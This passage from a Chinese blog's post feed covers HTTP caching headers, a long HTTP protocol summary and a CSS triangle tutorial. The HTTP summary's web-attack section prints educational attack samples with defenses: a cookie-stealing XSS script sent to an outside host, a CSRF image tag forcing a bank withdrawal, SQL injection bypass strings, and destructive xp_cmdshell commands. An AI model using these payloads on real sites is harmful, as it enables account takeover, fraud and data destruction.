<content type="text"><![CDATA[只关注前端方面缓存机制的,可能只清楚在HTML页meta标签处理 1&lt;meta http-equiv=&quot;Pragma&quot; content=&quot;no-store&quot;&gt; 目的是为了不让浏览器缓存当前页面。但是代理服务器不解析HTML内容。这样一般在服务器端对HTTP请求头进行处理控制缓存。 HTTP头控制缓存 大致分为两种:强缓存和协商缓存。强缓存如果命中缓存不需要和服务器发生交互,而协商缓存不管是否命中都要和服务器端进行交互,强制缓存的优先级高于协商缓存。 匹配流程示意图: ==敲黑板:强缓存根据Expire或Cache-Control判断,协商缓存根据Last-Modified或ETag判断,强缓存优先级大于协商缓存== 强缓存 可以理解为无需验证缓存策略。 ExpiresExpires指缓存过期时间,超过时间点就代表资源过期。 Cache-ControlCache-Control可以由多个字段组成,有一下取值: max-age 指定一个时间长度,单位s。在没有禁用缓存并且没有超过有效时间,再次访问这个资源会命中缓存,不会向服务器请求资源而是直接从浏览器中取。 s-maxage 同max-age,覆盖max-age、Expires,仅适用共享缓存,在私有缓存中被忽略。 public 表明响应可以被任何对象(发送请求和客户端、代理服务器)缓存。 private 表明响应只能被单个用户(可能是操作系统用户、浏览器用户)缓存,是非共享的,不能被代理服务器缓存。 no-chache 强制所有缓存了该响应的用户,在使用已缓存的数据前,发送待验证器请求到服务器。==不是字面意思上的不缓存==。 no-store 禁止缓存,每次请求都要向服务器重新获取数据。 协商缓存 缓存的资源到期了,并不意味着资源内容发生了改变,如果和服务器上的资源没有差别,实际上没有必要再次请求。客户端和服务器通过某种验证机制验证当前请求资源是否可以使用缓存。 Last-modified/If-Modified-SinceLast-modified表示服务器端资源的最后修改时间,响应头部会带上这个标识。第一次请求之后,浏览器记录这个时间,再次请求时,请求头带上If-Modified-Since即为之前记录下的时间。服务器端收到带If-Modified-Since的请求后会去和资源最后修改时间对比。若修改过就返回最新资源,状态码200,否则没有修改过返回304。 ==注意:如果响应头中有Last-modified而没有Expire或Chache-Control,浏览器会有自己的算法算出,不同浏览器算出时间不一样,所有Last-modified要配合Expires/Cache-Control使用== Etag/If-None-Match由服务器端上生成一段hash字符串,第一次请求时响应头带上ETag:abcd,之后的请求中带上If-None-Match: abcd,服务器检查ETag,返回304或200 选择Chech-Control策略]]></content>
<categories>
<category>其它</category>
</categories>
<tags>
<tag>缓存</tag>
<tag>http</tag>
</tags>
</entry>
<entry>
<title><![CDATA[HTTP协议总结(整理版)]]></title>
<url>%2F2018%2F04%2F11%2FHTTP%E5%8D%8F%E8%AE%AE%E6%80%BB%E7%BB%93%EF%BC%88%E6%95%B4%E7%90%86%E7%89%88%EF%BC%89%2F</url>
<content type="text"><![CDATA[一、基本概念1.1 web基础 HTTP(HyperText Transfer Protocol):超文本传输协议。 WWW(World Wide Web)的三种技术:HTML、HTTP、URL。 RFC(Request for Comments):征求修正意见书,互联网的设计文档。 1.2 URL URI(Uniform Resource Indentifier):统一资源标识符。 URL(Uniform Resource Locator):统一资源定位符。 URN(Uniform Resource Name):统一资源名称。 ps:URI 包含 URL 和 URN,目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。 1.3 请求和响应报文1.3.1 请求报文 1.3.2 响应报文 二、HTTP方法客户端发送的 请求报文 第一行为请求行,包含了方法字段。 2.1 GET获取资源 当前网络请求中,绝大部分使用的是 GET 方法。 2.2 HEAD获取报文首部 和 GET 方法一样,但是不返回报文实体主体部分。 主要用于确认 URL 的有效性以及资源更新的日期时间等。 2.3 POST传输实体主体 POST主要用来传输数据,而GET主要用来获取资源。 2.4 PUT上传文件 由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法。 2.5 PATCH对资源进行部分修改 PUT也可以用于修改资源,但是只能完全替代原始资源,PATCH允许部分修改。 2.6 DELETE删除文件 与PUT功能相反,并且同样不带验证机制。 2.7 OPTIONS查询支持的方法 查询指定的URL能够支持的方法。返回Allow:GET,POST,HEAD,OPTIONS这样的内容。 2.8 CONNECT要求用隧道协议连接代理 要求在与代理服务器通信时建立隧道,使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。 2.9 TRACE追踪路径 服务器会将通信路径返回给客户端。 发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。 通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去使用它。 三、HTTP状态码服务器返回的 响应报文 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。 状态码 类别 解释 1xx Informational(信息性状态码) 接收的请求正在处理 2xx Success(成功状态码) 请求正常处理完毕 3xx Redirection(重定向状态码) 需要进行附加操作以完成请求 4xx Client Error(客户端错误状态码) 服务器无法处理请求 5xx Server Error(服务器错误状态码) 服务器处理请求出错 3.1 1xx信息 100 Continue :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。 3.2 2xx成功 200 OK:请求成功并返回。 204 No Content:请求已经成功处理,但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用。 206 Partial Content:表示客户端进行了范围请求。响应报文包含由 Content-Range 指定范围的实体内容。 3.3 3xx重定向 301 Moved Permanently:永久性重定向。 302 Found:临时性重定向。 303 See Other:和 302 有着相同的功能,但是 303 明确要求客户端应该采用 GET 方法获取资源。PS:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。 304 Not Modified:如果请求报文首部包含一些条件,例如:If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since,如果不满足条件,则服务器会返回 304 状态码。 307 Temporary Redirect:临时重定向,与 302 的含义类似,但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。 3.4 4xx客户端错误 400 Bad Request:请求报文中存在语法错误。 401 Unauthorized:该状态码表示发送的请求需要有认证信息(BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。 403 Forbidden:请求被拒绝,服务器端没有必要给出拒绝的详细理由。 404 Not Found:未找到客户端要请求的资源。 3.5 5xx服务器错误 500 Internal Server Error:服务器正在执行请求时发生错误。 503 Service Unavilable :服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。 四、HTTP首部有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段 4.1 通用首部字段 首部字段名 说明 Cache-Control 控制缓存的行为 Connection 控制不再转发给代理的首部字段、管理持久连接 Date 创建报文的日期时间 Pragma 报文指令 Trailer 报文末端的首部一览 Transfer-Encoding 指定报文主体的传输编码方式 Upgrade 升级为其他协议 Via 代理服务器的相关信息 Warning 错误通知 4.2 请求首部字段 首部字段名 说明 Accept 用户代理可处理的媒体类型 Accept-Charset 优先的字符集 Accept-Encoding 优先的内容编码 Accept-Language 优先的语言(自然语言) Authorization Web 认证信息 Expect 期待服务器的特定行为 From 用户的电子邮箱地址 Host 请求资源所在服务器 If-Match 比较实体标记(ETag) If-Modified-Since 比较资源的更新时间 If-None-Match 比较实体标记(与 If-Match 相反) If-Range 资源未更新时发送实体 Byte 的范围请求 If-Unmodified-Since 比较资源的更新时间(与 If-Modified-Since相反) Max-Forwards 最大传输逐跳数 Proxy-Authorization 代理服务器要求客户端的认证信息 Range 实体的字节范围请求 Referer 对请求中 URI 的原始获取方 TE 传输编码的优先级 User-Agent HTTP 客户端程序的信息 4.3 响应首部字段 首部字段名 说明 Accept-Ranges 是否接受字节范围请求 Age 推算资源创建经过时间 ETag 资源的匹配信息 Location 令客户端重定向至指定 URI Proxy-Authenticate 代理服务器对客户端的认证信息 Retry-After 对再次发起请求的时机要求 Server HTTP 服务器的安装信息 Vary 代理服务器缓存的管理信息 WWW-Authenticate 服务器对客户端的认证信息 4.4 实体首部字段 首部字段名 说明 Allow 资源可支持的 HTTP方法 Content-Encoding 实体主体适用的编码方式 Content-Language 实体主体的自然语言 Content-Length 实体主体的大小 Content-Location 替代对应资源的 URI Content-MD5 实体主体的报文摘要 Content-Range 实体主体的位置范围 Content-Type 实体主体的媒体类型 Expires 实体主体过期的日期时间 Last-Modified 资源的最后修改日期时间 五、具体应用5.1 Cookie HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。 Cookie 是服务器发送给客户端的数据,该数据会被保存在浏览器中,并且客户端的下一次请求报文会包含该数据。通过 Cookie 可以让服务器知道两个请求是否来自于同一个客户端,从而实现保持登录状态等功能。 5.1.1 创建过程 服务器发送的响应报文包含 Set-Cookie 字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。 123456HTTP/1.0 200 OKContent-type: text/htmlSet-Cookie: yummy_cookie=chocoSet-Cookie: tasty_cookie=strawberry[page content] 客户端之后发送请求时,会从浏览器中读出 Cookie 值,在请求报文中包含 Cookie 字段。 123GET /sample_page.html HTTP/1.1Host: www.example.orgCookie: yummy_cookie=choco; tasty_cookie=strawberry 5.1.2 分类 会话期 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。 持久性 Cookie:指定一个特定的过期时间(Expires)或有效期(Max-Age)之后就成为了持久性的 Cookie。 1Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; 5.1.3 Set-Cookie 属性 说明 NAME=VALUE 赋予 Cookie 的名称和其值(必需项) expires=DATE Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止) path=PATH 将服务器上的文件目录作为 Cookie 的适用对象(若不指定则默认为文档所在的文件目录) domain=域名 作为 Cookie 适用对象的域名(若不指定则默认为创建 Cookie 的服务器的域名) Secure 仅在 HTTPs 安全通信时才会发送 Cookie HttpOnly 加以限制,使 Cookie 不能被 JavaScript 脚本访问 5.1.4 Session和Cookie区别Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识:Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的,Session 用于服务器端,Cookie 用于客户端。 5.1.5 浏览器禁用Cookie的情况会使用URL重写技术,在URL后面追缴sid=xxx。 5.1.6 使用 Cookie 实现用户名和密码的自动填写 网站脚本会自动从保存在浏览器中的 Cookie 读取用户名和密码,从而实现自动填写。-但是如果 Set-Cookie 指定了 HttpOnly属性,就无法通过 Javascript脚本获取 Cookie信息,这是出于安全性考虑。 5.2 缓存5.2.1 优点 降低服务器的负担。 提高响应速度。(缓存资源比服务器上的资源离客户端更近) 5.2.2 实现方法 让代理服务器进行缓存。 让客户端浏览器进行缓存。 5.2.3 Cache-Control 字段 HTTP 通过 Cache-Control 首部字段来控制缓存。 1Cache-Control: private, max-age=0, no-cache 5.2.4 no-cache 指令 该指令出现在请求报文的 Cache-Control 字段中,表示缓存服务器需要先向原服务器验证缓存资源是否过期 该指令出现在响应报文的 Cache-Control 字段中,表示缓存服务器在进行缓存之前需要先验证缓存资源的有效性 5.2.5 no-store 指令 该指令表示缓存服务器不能对请求或响应的任何一部分进行缓存。 no-cache 不表示不缓存,而是缓存之前需要先进行验证,no-store 才是不进行缓存。 5.2.6 max-age 指令 该指令出现在请求报文的 Cache-Control 字段中,如果缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。 该指令出现在响应报文的 Cache-Control 字段中,表示缓存资源在缓存服务器中保存的时间。 Expires 字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1中,会优先处理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令会被忽略掉。 5.3 持久化连接当浏览器访问一个包含多张图片的HTML页面时,除了请求访问HTML页面资源,会请求图片资源,如果每进行依次HTTP通信就要断开一次TCP连接,连接建立和断开的开销会很大。持久化连接只需要建立一次TCP连接就能进行多次HTTP通信。 持久化连接需要使用Connection首部字段进行管理。HTTP/1.1开始,默认时持久化连接的,如果要断开TCP连接,需要由客户端或者服务器端提出断开,使用Connection:close;,而在HTTP/1.1之前默认是非持久化连接的,如果要维持持续连接,需要使用Connection:Keep-Alive;。 5.4 管线化处理HTTP/1.1支持管线化处理,可以同事发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发送下一个请求。 5.5 编码编码(Encoding)主要是为了对实体进行压缩。常用的编码由:gzip、compress、deflate、identity,其中identity表示不执行压缩的编码格式。 5.6 分块传输编码Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。 5.7 多部分对象集合一份报文主体内可包含多种类型的实体同事发送,每个部分之间用boundary字段定义的分隔符进行分隔,每个部分都可以有首部字段。 例如,上传多个表单时可以使用如下方式: 123456789101112Content-Type: multipart/form-data; boundary=AaB03x--AaB03xContent-Disposition: form-data; name=&quot;submit-name&quot;Larry--AaB03xContent-Disposition: form-data; name=&quot;files&quot;; filename=&quot;file1.txt&quot;Content-Type: text/plain... contents of file1.txt ...--AaB03x-- 5.8 范围请求如果网络出现中断,服务器只发送了一部分数据,范围请求使得客户端能够只请求未发送的那部分数据,从而避免服务器端重新发送所有数据。 再请求报文首部中添加Range字段指定请求的范围,请求成功的话服务器发送206 Partial Content 状态。 123GET /z4d4kWk.jpg HTTP/1.1Host: i.imgur.comRange: bytes=0-1023 12345HTTP/1.1 206 Partial ContentContent-Range: bytes 0-1023/146515Content-Length: 1024...(binary content) 5.9 内容协商通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。 涉及一下首部字段:Accept、Accept-Charset、Accept-Encoding、Accept-Language、Content-Language。 5.10 虚拟机HTTP/1.1使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。使用Host首部字段进行处理。 5.11 通信数据转发5.11.1 代理代理服务器接收客户端的请求,并且转发给其他服务器 使用代理的主要目的是:缓存、网络访问控制以及访问日志记录。 代理服务器分为正向代理和反向代理两种,用户察觉到正向代理的存在,而反向代理一般位于内部网络中,用户察觉不到。 5.11.2 网关与代理服务器不同的是,网关服务器会将HTTP转化为其他协议进行通信,从而请求其他非HTTP服务器的服务。 5.11.3 隧道使用SSL等加密手段,为客户端和服务器之间建立一条安全的通信线路。隧道本身不去解析HTTP请求。 六、HTTPSHTTP有一下安全性问题: 使用明文进行通信,内容可能会被窃听; 不验证通信方的身份,通信方的身份有可能遭遇伪装; 无法证明报文的完整性,报文有可能遭篡改; HTTPS并不是新协议,而是HTTP先和SSL(Secure Sockets Layer)通信,再由SSL和TCP通信。也就是说HTTPS使用了隧道进行通信。通过使用SSL,HTTPS具有了加密、认证和完整性保护。 6.1 加密6.1.1 对称密钥加密堆成密钥加密(Symmetric-Key Encryption),加密的加密和解密使用同一密钥。 优点:运算速度快。 缺点:密钥容易被获取。 6.1.2 公开密钥加密公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。 优点:更为安全。 缺点:运算速度慢。 6.1.3 HTTPS采用的加密方式HTTPS采用混合的加密机制,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。 6.2 认证通过使用证书来对通信方进行认证。 数字证书认证机构(CA,Certificate Authority)是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请,CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。 进行HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。 使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。浏览器在访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。 6.3 完整性SSL提供报文摘要功能来验证完整性。 七、Web攻击技术7.1 攻击模式7.1.1 主动攻击直接攻击服务器,具有代表性的有SQL注入和OS命令注入。 7.1.2 被动攻击设下圈套,让用户发送有攻击代码的HTTP请求,用户会泄露cookie等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。 7.2 跨站脚本攻击7.2.1 概念跨站脚本攻击(Cross-Site Scripting,XSS),可以将代码注入到用户浏览的网页上,这种代码包括HTML和JavaScript。利用网页开发时留下的漏洞,通过巧妙地方法注入恶意指令代码到网页,是用户加载并执行攻击者恶意制造地网页程序。攻击成功后,攻击者可能得到更高地权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 例如一个论坛网站,攻击者可以再上面发表一下内容: 1&lt;script&gt;location.href="//domain.com/?c=" + document.cookie&lt;/script&gt; 之后该内容可能会被渲染成一下形式: 1&lt;p&gt;&lt;script&gt;location.href="//domain.com/?c=" + document.cookie&lt;/script&gt;&lt;/p&gt; 另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 7.2.2 危害伪造虚假地输入表单骗取个人信息,窃取用户地cookie值,显示伪造地文章或图片。 7.2.3 防范手段 过滤特殊字符。 指定HTTP的content-type。 7.3 跨站点请求伪造7.3.1 概念跨站点请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 XSS利用的时用户对指定网站的信任,CSRF利用的是网站对用户网页浏览器的信任。 假如一家银行用以执行转账操作的 URL 地址如下: 1http://www.examplebank.com/withdraw?account=AccoutName&amp;amount=1000&amp;for=PayeeName 那么,一个恶意攻击者可以在另一个网站上放置如下代码: 1&lt;img src=&quot;http://www.examplebank.com/withdraw?account=Alice&amp;amount=1000&amp;for=Badman&quot;&gt;。 如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。 这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。 透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。 8.3.2 防范手段检查 Referer 字段 HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。 添加校验 Token 由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。 7.4 SQL注入攻击7.4.1 概念服务器上的数据库运行非法的SQL语句。 7.4.2 攻击原理例如一个网站登录验证的SQL查询代码为 1strSQL = &quot;SELECT * FROM users WHERE (name = &apos;&quot; + userName + &quot;&apos;) and (pw = &apos;&quot;+ passWord +&quot;&apos;);&quot; 如果填入以下内容: 12userName = &quot;1&apos; OR &apos;1&apos;=&apos;1&quot;;passWord = &quot;1&apos; OR &apos;1&apos;=&apos;1&quot;; 那么 SQL 查询字符串为: 1strSQL = &quot;SELECT * FROM users WHERE (name = &apos;1&apos; OR &apos;1&apos;=&apos;1&apos;) and (pw = &apos;1&apos; OR &apos;1&apos;=&apos;1&apos;);&quot; 此时无需验证通过就能执行以下查询: 1strSQL = &quot;SELECT * FROM users;&quot; 7.4.3 危害 数据表中的数据外泄,例如个人机密数据,账户数据,密码等。 数据结构被黑客探知,得以做进一步攻击(例如 SELECT * FROM sys.tables)。 数据库服务器被攻击,系统管理员账户被窜改(例如 ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。 获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及 XSS 等。 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如 xp_cmdshell “net stop iisadmin” 可停止服务器的 IIS 服务)。 破坏硬盘数据,瘫痪全系统(例如 xp_cmdshell “FORMAT C:”)。 7.4.4 防范手段 在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。 在组合 SQL 字符串时,先针对所传入的参数作字符取代(将单引号字符取代为连续 2 个单引号字符)。 如果使用 PHP 开发网页程序的话,亦可打开 PHP 的魔术引号(Magic quote)功能(自动将所有的网页传入参数,将单引号字符取代为连续 2 个单引号字符)。 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。 使用 SQL 防注入系统。 7.5 拒绝服务攻击7.5.1 概念 拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。 分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。 八、GET 和 POST 的区别8.1 参数 GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体中。 GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。 1GET /test/demo_form.asp?name1=value1&amp;name2=value2 HTTP/1.1 123POST /test/demo_form.asp HTTP/1.1Host: w3schools.comname1=value1&amp;name2=value2 8.2 安全 安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。 GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。 安全的方法除了 GET 之外还有:HEAD、OPTIONS。 -不安全的方法除了 POST 之外还有 PUT、DELETE。 8.3 幂等性 幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。 GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的: 1234GET /pageX HTTP/1.1GET /pageX HTTP/1.1GET /pageX HTTP/1.1GET /pageX HTTP/1.1 POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录: 123POST /add_row HTTP/1.1POST /add_row HTTP/1.1 -&gt; Adds a 2nd rowPOST /add_row HTTP/1.1 -&gt; Adds a 3rd row DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样: 123DELETE /idX/delete HTTP/1.1 -&gt; Returns 200 if idX existsDELETE /idX/delete HTTP/1.1 -&gt; Returns 404 as it just got deletedDELETE /idX/delete HTTP/1.1 -&gt; Returns 404 8.4 可缓存如果要对响应进行缓存,需要满足以下条件: 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300,301, 404, 405, 410, 414, and 501。 响应报文的 Cache-Control 首部字段没有指定不进行缓存。 8.5 XMLHttpRequest 为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest: XMLHttpRequest 是一个 API,它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式,并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。 在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做,例如火狐就不会。 九、各版本比较9.1 HTTP/1.0 与 HTTP/1.1 的区别 HTTP/1.1 默认是持久连接 HTTP/1.1 支持管线化处理 HTTP/1.1 支持虚拟主机 HTTP/1.1 新增状态码 100 HTTP/1.1 只是分块传输编码 HTTP/1.1 新增缓存处理指令 max-age 9.2 HTTP/1.1 与 HTTP/2.0 的区别9.2.1 多路复用HTTP/2.0 使用多路复用技术,使用同一个 TCP 连接来处理多个请求 9.2.2 首部压缩HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。HTTP/2.0 要求通讯双方各自缓存一份首部字段表,从而避免了重复传输。 9.2.3 服务端推送在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 index.html 页面,服务端就把 index.js 一起发给客户端 9.2.4 二进制格式HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式]]></content>
<categories>
<category>其它</category>
</categories>
<tags>
<tag>http</tag>
</tags>
</entry>
<entry>
<title><![CDATA[纯css三角形及其应用]]></title>
<url>%2F2018%2F03%2F27%2F%E7%BA%AFcss%E4%B8%89%E8%A7%92%E5%BD%A2%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8%2F</url>
<content type="text"><![CDATA[前言对于气泡对话框或者Popover与内容连接部分会有小三角形效果,可能在以前直接用图片去实现,其实用纯css即可实现,下面要实现的效果分别是微信对话框和面包屑,以此回顾记录一下。 效果如下: css写三角形原理首先我们设置一个div元素的宽高和边框,观察效果 1234567.demo1 &#123; width: 40px; height: 40px; border-width: 20px; border-style: solid; border-color: #ff0000 #00ff00 #0000ff #ff00ff;&#125; 效果 可以发现分别观察四边框是按类似等边梯形绘制的,如果进一步把宽高设小,甚至设为0,就会呈现为三角形,于是 1234567.demo2 &#123; width: 0; height: 0; border-width: 20px; border-style: solid; border-color: #ff0000 #00ff00 #0000ff #ff00ff;&#125; 效果 果然是这样的,下面要做的是把其中某个三角形单独提取出来显示,其他都显示为transparent,于是就有了 12345678.demo3 &#123; width: 0; height: 0; border-width: 20px; border-style: solid; border-color: transparent; border-left-color: #ff00ff;&#125; 效果 一个指向右边的三角形大功告成,要其他方向的三角形,只需改变透明的边框即可。 应用有时我们不需要整个实心的三角形,而只需要类似与&gt;不同方向箭头的效果,例如popover气泡框效果。这样就需要两个三角形通过重叠错位来实现这样的效果,重叠三角形B颜色和气泡框背景色一样,被重叠三角形A颜色和气泡框边框颜色一样。 实现微信对话框效果两个三角形重叠错位,意味着要两个元素,但是这样一来就增加了这个小功能的复杂度,其实可以利用标签的伪类元素:before和:after来充当元素画出两个三角形。 html部分1&lt;div class="chat-dialog"&gt;hi,在吗?&lt;/div&gt; css部分123456789101112131415161718192021222324252627282930.chat-dialog &#123; position: relative; width: 180px; height: 32px; line-height: 32px; border-radius: 5px; margin-left: 30px; border: 1px solid #009a61; padding: 4px;&#125;.chat-dialog:before,.chat-dialog:after &#123; content: ""; display: block; position: absolute; top: 13px; left: -13px; width: 0; height: 0; border-width: 6px; border-color: transparent; border-style: solid; border-right-color: #009a61;&#125;.chat-dialog:after &#123; left: -12px; border-right-color: #fff;&#125; 效果 实现面包屑效果同样的实现面包屑效果,只是在每块后面留出空位,再用伪类元素:before和:after定位出箭头效果 html部分 123456&lt;ul class="tag-tab"&gt; &lt;li&gt;第一级&lt;/li&gt; &lt;li&gt;第二级&lt;/li&gt; &lt;li&gt;第三级&lt;/li&gt; &lt;li&gt;第四级&lt;/li&gt;&lt;/ul&gt; css部分 1234567891011121314151617181920212223242526272829303132333435363738.tag-tab &#123; font-size: 16px; height: 24px; list-style: none;&#125;.tag-tab li &#123; float: left; position: relative; padding-right: 12px;&#125;.tag-tab&gt;li:before,.tag-tab&gt;li:after &#123; position: absolute; top: 0; right: -12px; border-width: 12px; border-color: transparent; border-left-color: #333; border-style: solid; content: ""; z-index: 1;&#125;.tag-tab&gt;li:after &#123; right: -11px; border-left-color: #fff;&#125;.tag-tab&gt;li:hover &#123; color: #009a61;&#125;.tag-tab&gt;li:hover:before &#123; border-left-color: #009a61;&#125; 效果 当然,还是css3通过旋转实现的方法,简单粗暴,到后面在补充了。还有什么好方法欢迎提出哈。]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[前端面试之html]]></title>
<url>%2F2018%2F03%2F05%2Finter-html%2F</url>
